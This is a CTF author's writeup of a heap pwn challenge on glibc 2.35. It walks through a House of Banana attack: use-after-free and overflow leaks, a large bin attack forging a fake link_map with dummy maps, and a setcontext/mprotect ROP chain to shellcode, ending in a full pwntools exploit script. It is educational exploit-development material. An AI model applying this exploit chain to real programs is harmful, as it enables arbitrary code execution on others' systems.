Writeup of the pwn challenge The perfect fruit salad I authored for From Dusk Till Dawn CTF Quals 2026, hosted by fibonhack and Cyber Saiyan.

I was reading up on heap exploitation when I found this interesting technique, so I decided to write a challenge about it, adding some fun tricks along the way.
Big shoutout to Axura’s amazing blog article, which was my main reference while creating this challenge. I strongly recommend giving it a read for more insights.




Intro#

The challenge provides us with an ELF binary, its libc (GLIBC 2.35), and its linker.
As the description says, we need to prepare the perfect fruit salad (lol).

If we execute the binary, a menu is displayed:

menu

We can perform the following actions:

  1. add a new fruit bowl (allocates a chunk with a size between 0x410 and MAX_SIZE (0x500)).
  2. throw away a bowl (calls free() on the chunk).
  3. change a bowl’s fruit (edits the chunk’s content).
  4. check a bowl’s content (prints the first 32 bytes of the chunk).
  5. serve the fruit salad! (exits the program).

I added some kaomojis to make the challenge a bit cuter. I hope you enjoyed them (ᵕ • ᴗ •)




Spotting the vulnerabilities#

As usual, we analyze the binary with a disassembler. We can spot some vulnerabilities:

  • Use-after-free: Inside the do_free() function, the program calls free(slots[s].ptr) but forgets to clear the pointer and set the in_use flag to 0.
    This means we can still view and edit chunks even after they have been freed.
  • Heap overflow: The do_edit() function uses read(0, slots[s].ptr, slots[s].size + 0x38).
    This allows us to write 0x38 (56) bytes out of bounds, letting us corrupt the metadata of the next chunk in memory.

Useful observations#

1. Obtain libc and heap leaks#

Since the minimum allocation size is 0x410, our chunks will bypass the fastbin and tcache entirely, going straight into the unsorted bin (and eventually large bins) when freed.
Thanks to the UAF and the do_view() function, leaking libc and heap addresses from the fd and bk pointers will be trivial.

Libc leak:

  • Allocate a chunk
  • Free it: chunk goes into unsorted bin -> its fd and bk will point to main_arena (a libc pointer)
  • View the chunk to obtain the leak

Heap leak:

  • After leaking the libc address, we allocate a new bigger chunk -> the allocator will clear the unsorted bin and move the first chunk into large bin
  • In large bin, the chunk’s fd and bk will point to heap addresses
  • View the chunk to obtain the leak
▼ How to leak libc and heap (referencing my exploit)
def leak_libc_heap(io):

    # i don't need to allocate chunk 0 since it's already allocated by the binary with the correct size i need

    alloc(io, 1, 0x428) # victim
    alloc(io, 2, 0x418) # padding
    alloc(io, 3, 0x418) # A
    alloc(io, 5, 0x418) # padding 2

    free(io, 1)

    fd, _, _, _ = view(io, 1)
    libc_base = fd - 0x21ace0
    libc.addr = libc_base

    alloc(io, 4, 0x500) # victim goes into large bin

    _, _, fd_ns, _ = view(io, 1)
    heap0 = fd_ns

2. Obtain a linker leak#

Right at the start, the program allocates a chunk at slots[0], then does this:

ld leak

This writes the address of _r_debug.r_map (which points to the first link_map structure inside the linker) XORed with a qword.

But wait, what is that qword? Let’s check in GDB:

ld leak gdb

Stepping to the xor instruction:

xor gdb

So, the address of _r_debug.r_map is XORed with the allocated chunk itself! ( ˶°ㅁ°)

By reading this chunk’s content with the view options, we can read the xored value, and since we also have the heap leak obtained before, we can XOR it again to obtain a linker leak!

▼ How to leak a linker address
def leak_ns_loaded(qw0_obfuscated, heap0):

ptr = heap0 - 0x420 # chunk 0
r_map = qw0_obfuscated ^ ptr

# we need to have the _ns_loaded address (I'll explain why later)
_ns_loaded = r_map - 0x1290

return _ns_loaded

3. Mitigations??#

When we select option 5 to exit the loop, the program does this:

void **real_io_list_all = (void **)dlsym(RTLD_DEFAULT, "_IO_list_all");
//...
for (;;) {
	if (real_io_list_all) *real_io_list_all = NULL;

We can’t hijack _IO_FILE structures during the exit() sequence (so FSOP / House of Apple are not feasible).

Another thing:

static void sigabrt_handler(int signum) {
    print_str("HEY!! You made a mess!!! ( 。 •̀ ᴖ •́ 。)💢\n");
    _exit(1);
}

If we mess up the heap metadata and trigger abort(), this custom handler catches the signal and calls _exit(1).
This prevents us from using techniques that hijack execution through the abort() routine itself (so House of Emma / House of Kiwi are not feasible).




Exploitation Strategy#

The only trigger we could potentially exploit is the option to exit the program (return 0;) in the main menu.

What we have so far:

  • libc leak
  • heap leak
  • ld leak

Is there a way to use that ld leak to do something ? (•⤙•)
Let’s delve into what happens when a program terminates:

  • When a dynamically linked C program returns from main, it walks through exit routines, eventually calling _dl_fini in the dynamic linker to clean up shared libraries.

Then, let’s take a look at how _dl_fini keeps track of these libraries:

  • It iterates through a doubly linked list of link_map structures.
  • The head of this main namespace list is typically stored at _rtld_global._dl_ns[0]._ns_loaded.

Info about link_map

A link_map is a big and complex structure that describes a loaded shared object. Here’s a simplified structure:

linkmap_struct

The most interesting part is the l_info array. It holds pointers to Elf64_Dyn structures (Dynamic Section entries), which in turn contain the actual pointers to the execution data.

Let’s check the Elf64_Dyn structure:

elf64_dyn

During the cleanup phase, the _dl_fini function looks for the .fini_array of each library. This array is simply a list of function pointers (to destructors) that must be executed before the library is unloaded.

_dl_fini locates the .fini_array by looking into l_info:

  • l_info[DT_FINI_ARRAY] (DT_FINI_ARRAY = 26): Points to the Elf64_Dyn structure containing the address of the .fini_array: base_addr = l_info[26]->d_un.d_ptr

  • l_info[DT_FINI_ARRAYSZ] (DT_FINI_ARRAYSZ = 28): Points to the Elf64_Dyn structure containing the total size of the .fini_array: total_size = l_info[28]->d_un.d_val

The internal layout of the link_map structure can slightly differ between glibc versions, so it’s always good practice to double-check them in GDB (˵ ¬ᴗ¬˵)


Interesting idea!! ( ˶°ㅁ°)#

_dl_fini implicitly trusts the contents of the link_map structure.
What if we can trick the dynamic linker into parsing a fake link_map that we fully control?
This way, instead of pointing to legitimate destructors, our fake .fini_array will point directly to our payload (˶˃ ᵕ ˂˶) !

This is the core idea of the House of Banana technique, and we can use it in this case:

  • Leak libc, heap, and linker as I explained before,
  • Use the heap overflow and UAF to perform a large bin attack and obtain an arbitrary write primitive,
  • Overwrite the _rtld_global._dl_ns[0]._ns_loaded pointer with a fake link_map crafted on our heap,
  • Control the execution flow when _dl_fini parses our fake link_map to call the .fini_array functions.

Yay! Now I’ll break down each step of my exploit in detail (๑’ᵕ'๑)⸝*
Keep in mind that this is just my personal intended solution. There are likely other (and better!) ways to achieve this, but this is how I built the exploit.


Large bin attack#

We need this heap layout: chunk 0 | victim (in large bin) | padding chunk | A (fake map) | 2nd padding chunk

# i don't need to allocate chunk 0 since it's already allocated by the program with the correct size i need

alloc(io, 1, 0x428) # victim
alloc(io, 2, 0x418) # padding
alloc(io, 3, 0x418) # A (fake map)
alloc(io, 5, 0x418) # padding 2

free(io, 1) # victim goes into unsorted bin
fd, _, _, _ = view(io, 1)
libc_base = fd - 0x21ace0
libc.addr = libc_base
  
alloc(io, 4, 0x500) # triggers unsorted bin sorting -> victim (1) goes into large bin

Then:

  1. Allocate a victim chunk and free it. It will go into the unsorted bin.
  2. Allocate a larger chunk (bowl number = 4). This forces malloc to sort the unsorted bin, and the victim chunk is moved into the large bin!
  3. Use the heap overflow from chunk 0 to overwrite the victim’s bk_nextsize pointer with _rtld_global._dl_ns[0]._ns_loaded (_ns_loaded - 0x20).
  4. Free A (goes into the unsorted bin)
  5. Allocate a new chunk (bowl number = 6) larger than A -> this triggers unsorted bin sorting -> A will be moved into the large bin.
  • Since chunk A’s size is smaller than the victim’s, and chunks in the large bin are sorted in descending size order, the allocator does this:
    victim->bk_nextsize->fd_nextsize = A;

    -> The address of our fake map is written directly into _rtld_global._dl_ns[0]._ns_loaded, tricking the linker into treating it as a valid link map! (๑•ᴗ•๑)

I decided to build the content of the fake map like this:

the fake map will contain the rop chain to jump to the shellcode which executes cat flag.txt.

Uhm... How to execute the shellcode?

NX is enabled (╥_╥)

A way to bypass it since we can redirect the execution flow is to call mprotect to make the heap executable!

To call mprotect with the correct arguments, I need to do a ROP chain -> but ROP chains are executed by reading return addresses off the stack (ᵕ—ᴗ—)
So I need to call setcontext to read values from my controlled context in the fake map (by faking ucontext_t struct)
Specifically I’ll jump to setcontext+61 to skip some initial checks done by it.

I need a gadget that does mov rdx, r15 before calling setcontext:

  • r15 contains a pointer to link_map when _dl_fini is parsing the map
  • The gadget will move r15 into rdx -> this allows me to load the fake ucontext_t struct into rdx so it can be read by setcontext
  • Then it calls [rax + 0x38] -> I’ll put setcontext address here
  • setcontext reads the ucontext_t struct from rdx

    In the fake map I build some parts to overlap with ucontext_t (specifically uc_mcontext registers) and when _dl_fini tries to clean up loaded libraries, it will execute our gadget and call setcontext instead!

So the steps will be: mov rdx, r15 gadget -> setcontext -> mprotect -> shellcode

▼ Complete large bin attack
def largebin_attack(io, heap0, target):
    
    fd, bk, _, _ = view(io, 1) 
    log.info(f"target = {hex(target)}")
    log.info(f"bk_nextsize = {hex(target - 0x20)}")
    log.info(f"libc_base = {hex(libc.addr)}")

    A = heap0 + 0x430 + 0x420 # the fake map will be written in this chunk
    
    shellcode = asm(shellcraft.cat("flag.txt"))
    setcontext_61 = libc.addr + libc.sym["setcontext"] + 61
    mprotect_sym = libc.addr + libc.sym["mprotect"]
    
    rop = ROP(libc)
    p_rdi     = libc.addr + rop.find_gadget(["pop rdi", "ret"])[0]
    p_rsi     = libc.addr + rop.find_gadget(["pop rsi", "ret"])[0]
    p_rdx_rbx = libc.addr + rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0]
    mov_rdx_r15 = libc.addr + 0x72968
    ret       = libc.addr + rop.find_gadget(["ret"])[0]
    
    mprotect_rop = flat([
        p_rdi, A & ~0xfff, # rdi = base address of my memory page (using chunk A & ~0xfff to align to the page)
        p_rsi, 0x4000, # rsi = page dimension
        p_rdx_rbx, 7, 0, # 7 = PROT_READ | PROT_WRITE | PROT_EXEC
        mprotect_sym,
        A + 0x380,
    ])

    fake_map = {
        # link map pointers
        0x110 - 0x10: p64(A + 0x130), # l_info[26]
        0x120 - 0x10: p64(A + 0x140), # l_info[28]
        
        # Elf64_Dyn structs
        0x130 - 0x10: p64(26),              
        0x138 - 0x10: p64(A + 0x150), # points to destructors array
        
        0x140 - 0x10: p64(28),              
        0x148 - 0x10: p64(8),               
        
        # hijack execution
        0x150 - 0x10: p64(mov_rdx_r15), # called by _dl_fini
        # gadget: call [rax + 0x38]. rax=A+0x150 -> offset 0x188
        0x188 - 0x10: p64(setcontext_61),      
        
        # registers for ucontext_t struct
        # pivots to the rop chain
        0x0a0 - 0x10: p64(A + 0x200), # rsp
        0x0a8 - 0x10: p64(ret), # jumps to rop chain
        
        # payload
        0x200 - 0x10: mprotect_rop,
        0x380 - 0x10: shellcode,
        
        L_INIT_CALLED_OFFSET - 0x10: p32(8) # bit 3 active for l_init_called, otherwise _dl_fini skips the destructors call entirely
    }
    
    pl = flat(fake_map, filler=b'\x00', length=0x410)
    pl = pl + p64(0) + p64(0x421) # header of padding chunk 2
    
    log.info(f"writing fake link_map into chunk A ({hex(A)})")
    
    edit(io, 3, pl.ljust(0x450, b'\x00'))
    free(io, 3) 

    # edit chunk 0 to point to the target (_ns_loaded)
    payload = flat([
        b'\x00' * 0x410,
        p64(0), p64(0x431),
        p64(fd), p64(bk),
        p64(0), p64(target - 0x20)
    ]).ljust(0x450, b'\x00')

    edit(io, 0, payload)
    alloc(io, 6, 0x500) 
    return A

We won, right? Right?#

No! ( 。 •̀ ᴖ •́ 。)💢

_dl_fini has got this security check:

  • _ns_nloaded is the number of objects in the loaded list. The number of maps reachable from _ns_loaded must be = _ns_nloaded, otherwise the program will be killed (ㆆ_ㆆ)

    (_ns_nloaded is 4 in this challenge, you can check it in GDB with p _rtld_global._dl_ns[0]._ns_nloaded)

You can view this check in the dl-fini source code of libc 2.35 (the one used in this challenge) with this command in your terminal:

curl -s https://raw.githubusercontent.com/bminor/glibc/glibc-2.35/elf/dl-fini.c | cat -n | grep -A 60 "unsigned int nloaded ="

Here’s the check:

75           unsigned int i;
76           struct link_map *l;
77           assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
78           for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
79             /* Do not handle ld.so in secondary namespaces.  */
80             if (l == l->l_real)
81               {
82                 assert (i < nloaded);
83 
84                 maps[i] = l;
85                 l->l_idx = i;
86                 ++i;
87 
88                 /* Bump l_direct_opencount of all objects so that they
89                    are not dlclose()ed from underneath us.  */
90                 ++l->l_direct_opencount;
91               }
92           assert (ns != LM_ID_BASE || i == nloaded); // HERE!
93           assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
94           unsigned int nmaps = i;

But hey! No worries!
We can simply build additional maps… (˵ •̀ ᴗ - ˵ ) ✧
(It took me way too long to come up with this idea, rip)


Building the dummy maps#

Create 3 additional dummy link_map structs within the padding chunk:

We have to link them, for example like this:

A (= our fake map) -> map 2 -> map 3 -> map 4 (map 4 will have l_next = NULL to stop the counter at 4)

  • For each dummy map (map 2, map 3, map 4), we set the l_next pointer (must point to the next map) and the l_real pointer (must point to the map itself)

  • Then we need to fix the header of chunk A to link it with the dummy maps

▼ Build fake maps + link the fake map to them
def build_fake_linkmap(io, A):
    
    padding_data = A - 0x410 # start of user data in "bowl" 2, 0x410 byte before chunk A
    
    # build 3 dummy maps, needed to bypass N_LOADED check (expects at least 4 maps)
    dummy_maps = flat({
        # map 2 @ padding_data
        0x000 + 0x18: p64(padding_data + 0x100), # l_next -> map 3
        0x000 + 0x28: p64(padding_data + 0x000), # l_real -> self
        
        # map 3 @ padding_data + 0x100
        0x100 + 0x18: p64(padding_data + 0x200), # l_next -> map 4
        0x100 + 0x28: p64(padding_data + 0x100), # l_real -> self
        
        # map 4 @ padding_data + 0x200
        0x200 + 0x18: p64(0),                  # l_next -> NULL (stops the counter = 4)
        0x200 + 0x28: p64(padding_data + 0x200), # l_real -> self
    }, filler=b'\x00', length=0x410)
    
    # fix A chunk header and pointers to align the first map
    payload = dummy_maps + flat([
        p64(0), # offset 0x00: l_addr / prev_size
        p64(0x421),  # offset 0x08: l_name / size
        p64(0), # offset 0x10: l_ld   / fd
        p64(padding_data), # offset 0x18: l_next / bk -> points to map 1
        p64(0), # offset 0x20: l_prev / fd_nextsize
        p64(A) # offset 0x28: l_real / bk_nextsize -> must be chunk A
    ])
    
    log.info("fix A + forge dummy maps")
    edit(io, 2, payload.ljust(0x450, b'\x00'))

-> this method bypasses the _ns_nloaded assertion!




We (finally) won!#

When the program terminates, exit is called, which triggers _dl_fini to clean up loaded libraries:

  1. _dl_fini parses the fake map
  2. The program jumps to the mov_rdx_r15 gadget, which loads the fake context into rdx
  3. setcontext pivots rsp to our ROP chain
  4. the ROP chain is executed, granting executable permissions to the heap
  5. the program executes the shellcode to print the flag!



Conclusion#

I had fun learning about the House of Banana technique, and writing a challenge about it wasn’t easy!
There were moments where I was stuck and it took me a bit to rethink the challenge details or reorganize my exploit strategy.

See you at the RomHack Camp! (๑•ᴗ•๑)


Full exploit#

from pwn import *

elf = ELF("./chall", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.binary = elf
context.arch = "amd64"
context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h"]

L_INIT_CALLED_OFFSET = 0x31c # offset of the l_init_called flag from the start of link_map structure

GDBSCRIPT = """
c
"""

def start():
	if args.GDB: return gdb.debug(elf.path, gdbscript=GDBSCRIPT)
	if args.DOCKER: return remote("127.0.0.1", 1337)
	if args.REMOTE: return remote("host", 1337)
	if args.LOCAL: return process(elf.path)
	else: return error("You must specify an argument")

def alloc(io, slot, size):
	io.sendlineafter(b"> ", b"1")
	io.sendlineafter(b"number:", str(slot).encode())
	io.sendlineafter(b"size:", str(size).encode())
	io.recvuntil(b"\n")


def free(io, slot):
	io.sendlineafter(b"> ", b"2")
	io.sendlineafter(b"number:", str(slot).encode())

def edit(io, slot, data):
	io.sendlineafter(b"> ", b"3")
	io.sendlineafter(b"number:", str(slot).encode())
	io.sendafter(b"content: ", data)

def view(io, slot):
	io.sendlineafter(b"> ", b"4")
	io.sendlineafter(b":", str(slot).encode())
	io.recvuntil(b"] "); qw0 = int(io.recvline(), 16)
	io.recvuntil(b"] "); qw1 = int(io.recvline(), 16)
	io.recvuntil(b"] "); qw2 = int(io.recvline(), 16)
	io.recvuntil(b"] "); qw3 = int(io.recvline(), 16)

	return qw0, qw1, qw2, qw3

def exit(io):
	io.sendlineafter(b"> ", b"5")


def leak_libc_heap(io):
	# i don't need to allocate chunk 0 since it's already allocated by the binary with the correct size i need
	alloc(io, 1, 0x428) # victim
	alloc(io, 2, 0x418) # padding
	alloc(io, 3, 0x418) # A
	alloc(io, 5, 0x418) # padding 2
	
	free(io, 1) # goes into unsorted bin
	fd, _, _, _ = view(io, 1)
	libc_base = fd - 0x21ace0
	libc.addr = libc_base
	
	alloc(io, 4, 0x500) # triggers unsorted bin sorting -> victim (1) goes into large bin
	_, _, fd_ns, _ = view(io, 1)
	heap0 = fd_ns
	
	print("libc", hex(libc_base))
	print("heap0: ", hex(heap0))
	# pause()
	
	return heap0

  

def largebin_attack(io, heap0, target):
	fd, bk, _, _ = view(io, 1)
	log.info(f"target = {hex(target)}")
	log.info(f"bk_nextsize = {hex(target - 0x20)}")
	log.info(f"libc_base = {hex(libc.addr)}")
	
	A = heap0 + 0x430 + 0x420
	
	shellcode = asm(shellcraft.cat("flag.txt"))
	setcontext_61 = libc.addr + libc.sym["setcontext"] + 61
	mprotect_sym = libc.addr + libc.sym["mprotect"]
	
	rop = ROP(libc)
	p_rdi = libc.addr + rop.find_gadget(["pop rdi", "ret"])[0]
	p_rsi = libc.addr + rop.find_gadget(["pop rsi", "ret"])[0]
	p_rdx_rbx = libc.addr + rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0]

	# mov rdx, r15; mov rsi, r12; mov rdi, rbp; call qword ptr [rax + 0x38]; 
	mov_rdx_r15 = libc.addr + 0x72968 # find it with ropper --file libc.so.6 --search 'mov rdx, r15'
	
	ret = libc.addr + rop.find_gadget(["ret"])[0]
	
	mprotect_rop = flat([
		p_rdi, A & ~0xfff, # rdi = base address of my memory page (using chunk A & ~0xfff to align to the page)
		p_rsi, 0x4000, # rsi = page dimension
		p_rdx_rbx, 7, 0, # 7 = PROT_READ | PROT_WRITE | PROT_EXEC
		mprotect_sym,
		A + 0x380,
	])
	
	fake_map = {
		# link map pointers
		0x110 - 0x10: p64(A + 0x130), # l_info[26]
		0x120 - 0x10: p64(A + 0x140), # l_info[28]
		
		# Elf64_Dyn structs
		0x130 - 0x10: p64(26),
		0x138 - 0x10: p64(A + 0x150), # points to destructors array
		0x140 - 0x10: p64(28),
		0x148 - 0x10: p64(8),
		
		# hijack execution
		0x150 - 0x10: p64(mov_rdx_r15), # called by _dl_fini
		# gadget: call [rax + 0x38]. rax=A+0x150 -> offset 0x188
		
		0x188 - 0x10: p64(setcontext_61),
		
		# ucontext_t registers (uc_mcontext)
		0x0a0 - 0x10: p64(A + 0x200), # rsp
		0x0a8 - 0x10: p64(ret), # jumps to rop chain
		
		# rop + shellcode
		0x200 - 0x10: mprotect_rop,
		0x380 - 0x10: shellcode,
		
		L_INIT_CALLED_OFFSET - 0x10: p32(8) # bit 3 active for l_init_called
	}
	
	pl = flat(fake_map, filler=b'\x00', length=0x410)
	pl = pl + p64(0) + p64(0x421) # header of padding chunk 2
	
	log.info(f"writing fake link_map into chunk A ({hex(A)})")
	edit(io, 3, pl.ljust(0x450, b'\x00')) # build the fake map into A + corrupt next chunk (padding 2) metadata
	free(io, 3) # free chunk A -> goes into unsorted bin
	
	# edit victim chunk's metadata to point to the target (_ns_loaded)
	payload = flat([
		b'\x00' * 0x410,
		p64(0), p64(0x431),
		p64(fd), p64(bk),
		p64(0), p64(target - 0x20)
	]).ljust(0x450, b'\x00')
	
	edit(io, 0, payload)
	alloc(io, 6, 0x500) # allocate a larger chunk -> A is moved into large bin
	return A


def build_fake_linkmap(io, A):
	padding_data = A - 0x410 # start of user data in "bowl" 2, 0x410 byte before chunk A
	
	# build dummy maps, needeed to bypass N_LOADED check (expects at least 4 maps)
	
	dummy_maps = flat({
		# map 2 @ padding_data
		0x000 + 0x18: p64(padding_data + 0x100), # l_next -> map 3
		0x000 + 0x28: p64(padding_data + 0x000), # l_real -> self
		
		# map 3 @ padding_data + 0x100
		0x100 + 0x18: p64(padding_data + 0x200), # l_next -> map 4
		0x100 + 0x28: p64(padding_data + 0x100), # l_real -> self
		
		# map 4 @ padding_data + 0x200
		0x200 + 0x18: p64(0), # l_next -> NULL (stops the counter = 4)
		0x200 + 0x28: p64(padding_data + 0x200), # l_real -> self
	}, filler=b'\x00', length=0x410)
	
	# fix A chunk header and pointers to link it to the other dummy maps
	
	payload = dummy_maps + flat([
		p64(0), # offset 0x00: l_addr / prev_size
		p64(0x421), # offset 0x08: l_name / size
		p64(0), # offset 0x10: l_ld / fd
		p64(padding_data), # offset 0x18: l_next / bk -> points to map 1
		p64(0), # offset 0x20: l_prev / fd_nextsize		
		p64(A) # offset 0x28: l_real / bk_nextsize -> must be chunk A
	])
	
	log.info("fix A + forge dummy maps")
	edit(io, 2, payload.ljust(0x450, b'\x00'))

  
def leak_ns_loaded(qw0_obfuscated, heap0):
	ptr = heap0 - 0x420
	r_map = qw0_obfuscated ^ ptr
	_ns_loaded = r_map - 0x1290
	log.info(f"r_map = {hex(r_map)}")
	log.info(f"_ns_loaded address = {hex(_ns_loaded)}")
	return _ns_loaded



def read_hint(io):
	qw0, _, _, _ = view(io, 0)
	return qw0

  

def pwn():
	io = start()
	hint = read_hint(io)
	heap0 = leak_libc_heap(io)
	_ns_loaded = leak_ns_loaded(hint, heap0)
	
	fake_lm = largebin_attack(io, heap0, _ns_loaded)
	build_fake_linkmap(io, fake_lm)
	
	log.info("exiting")
	exit(io)
	io.interactive()

  

if __name__ == "__main__":
	pwn()